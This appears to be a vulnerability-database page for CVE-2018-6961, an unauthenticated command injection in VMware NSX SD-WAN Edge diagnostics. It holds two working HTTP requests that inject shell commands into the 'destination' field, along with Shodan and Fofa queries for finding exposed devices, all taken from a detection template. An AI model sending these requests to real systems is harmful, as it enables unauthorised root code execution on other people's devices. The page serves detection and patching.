🔙 목록으로 돌아가기

CVE-2018-6961: VMware NSX SD-WAN Edge - Command Injection

TitleVMware NSX SD-WAN Edge - Command Injection
AuthorD3nverNg,thewindghost
SeverityCritical
ImpactSuccessful exploitation allows unauthenticated remote code execution as root.
RemediationUpgrade to VMware SD-WAN Edge version 3.1.2 or later (diagnostic web UI component removed).
CVSS Score8.1
EPSS Score0.93224
CVE IDCVE-2018-6961
CWE IDCWE-78
Shodan Querytitle:"VeloCloud"
Fofa Querytitle="VeloCloud"
Tags cve cve2018 vmware nsx sd-wan velocloud rce kev vkev

🔍 Vulnerability Description

VMware NSX SD-WAN Edge (formerly VeloCloud Edge) before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools (Ping/Traceroute). This template detects it reliably by injecting ‘id’, ‘whoami’, and a random marker.

🌐 HTTP Request

POST /scripts/ajaxPortal.lua HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Connection: close
Content-Length: 101
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

destination=8.8.8.8`id`&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic
POST /scripts/ajaxPortal.lua HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Connection: close
Content-Length: 118
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

destination=8.8.8.8$(id;echo Oa71L3UNLo)&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-6961.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-6961.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A